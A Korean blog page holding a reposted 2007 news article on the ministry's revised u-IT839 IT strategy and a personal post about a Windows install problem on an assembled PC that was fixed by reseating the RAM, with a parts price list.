    새 u-IT839전략에는 기존 8대서비스 중 인터넷 전화는 상용화됨에 따라 제외되고 DMB와 DTV는 통합하는 대신, 통신·방송 융합 및 소프트웨어의 중요성이 강조되는 추세를 반영하여 ‘광대역 융합서비스’와 ‘IT서비스’가 추가됐다.

    3대 인프라에서는 인터넷 주소체계인 IPv6를 BcN에 통합하는 대신에 ‘소프트 인프라웨어’가 추가됐으며 9대 신성장동력에는 이동통신과 텔레매틱스 기기가 통합되고 RFID/USN기기가 추가됐다.



    정통부측은 u-IT839전략에 ‘소프트 인프라웨어’와 ‘IT서비스’가 새로 추가된 것에 대해 IT융·복합화 기술과 제품을 효과적으로 개발하고 사용자 중심의 편리한 IT서비스를 제공하는 소프트웨어 산업을 본격 육성하기 위한 것이라고 설명했다.

    또, 8대 서비스와 9대 신성장동력에 수반되는 소프트웨어를 포함한 소프트웨어 산업 전반의 국제 경쟁력 강화를 정부차원에서 직접 지원하기 위한 것이라고 정통부측은 덧붙였다.

    이밖에도 광대역융합 서비스에 IP-TV를 8대 서비스에 추가해 통신·방송 융합서비스의 연내 도입의지를 나타냈으며 광대역 통신기기, 컴퓨팅 및 주변기기 등 지금까지 상대적으로 주목받지 못한 산업을 적극 육성키로 했다.

    정보통신부는 이번에 새로 마련된 u-IT839전략에 의해 2010년까지 관련 산업이 연 평균 14.2% 성장해 향후 5년간 생산액 총 576조원, 경제전반에 걸친 부가가치 총 266조원이 창출될 것으로 전망했다.



    한편, 이 날 진대제 장관은 “u-IT839전략은 서비스, 인프라, 신성장 동력간의 연계성을 강화하고, 소프트웨어 부문의 적극 육성 및 IT와 타 부문 간의 융·복합화를 적극 지원해 경제 성장에 활력을 불어넣을 것”이라고 밝혔다.

    <김태진 기자> jiny@ddaily.co.kr

    <저작권자ⓒ디지털데일리 무단전재-재배포금지>

    'IT' 카테고리의 다른 글

    SCTP란?  (0) 2007.11.11
    5T산업 ==> 6T산업  (0) 2007.11.07
    조립컴퓨터로 삽질...  (0) 2007.10.15
    해싱의 개요및 특징  (0) 2007.09.20
    국내외 웹2.0 서비스 리스트  (0) 2007.09.06
    IT
    posted by 구름너머 2007. 10. 15. 17:41

    토요일 조립컴퓨터를 주문하여 배달받았다.

    사양은 아래와 같다.

    OS 설치 없이 그냥 부품조립으로만 해서 구입했는데

    OS 설치가 안되서 열시간 이상을 삽질 했습니다.ㅠㅠ

    처음에는 Windows XP로 설치하다 시스템이 재부팅되어버리는 현상이 발생하고

    그래서 CD가 잘못되었나 해서 Windows2000으로 설치해봐도 중간에 재부팅되어버리는

    현상이 발생하였습니다.

    파티션을 다르게 쪼개고 해봐도 동일하고..ㅠㅠ

    HDD가 STATA2 타입이라서 그런가하고 CMOS의 세팅 중

    Spread Spectrum을 Disable로 해보고 해도 동일하고...ㅠㅠ

    마지막으로 해본것은 인터넷에서 한줄 나와있는 마지막 희망!!!

    RAM을 바꿔 끼워 보라!

    1번,2번 슬롯에 512MB 양변 DDR2 를 꽂아서 조립해 왔는데

    이걸 1번, 3번으로 바꾸고 설치하여봤습니다. 결과는 대 성 공! 짜짠!

    아니 뭐 이런 경우가...!!

    나의 잃어버린 열몇시간은 어디서 돌려 받아야 한단 말인가....ㅠㅠㅠ

    항목상세 스펙단가수량가격
    RAME5MEMORY DDR2 512M PC2-6400 블루 19,000 2 38,000
    HDD삼성 STATA2 320G(7200/16M) HD321KJ 정품 80,000 1 80,000
    케이스유렉스 IW-EA002 25,000 1 25,000
    파워ICE-MAN Plus Light 450TR V2.2 27,000 1 27,000
    CPU인텔 콘로 E4500 정품 130,000 1 130,000
    메인보드MSI G31M2-FD V1 DVI 웨이코스 79,000 1 79,000
    기타조립비 20,000 1 20,000
    기타택배비 4,000 1 4,000
     합 계   403,000

    * CD-ROM 장치는 집에 있던 장비를 추가로 설치함!

    'IT' 카테고리의 다른 글

    5T산업 ==> 6T산업  (0) 2007.11.07
    u-IT839 전략 초점은 ‘유비쿼터스’ 조성  (0) 2007.11.07
    해싱의 개요및 특징  (0) 2007.09.20
    국내외 웹2.0 서비스 리스트  (0) 2007.09.06
    ISO20000  (0) 2007.09.05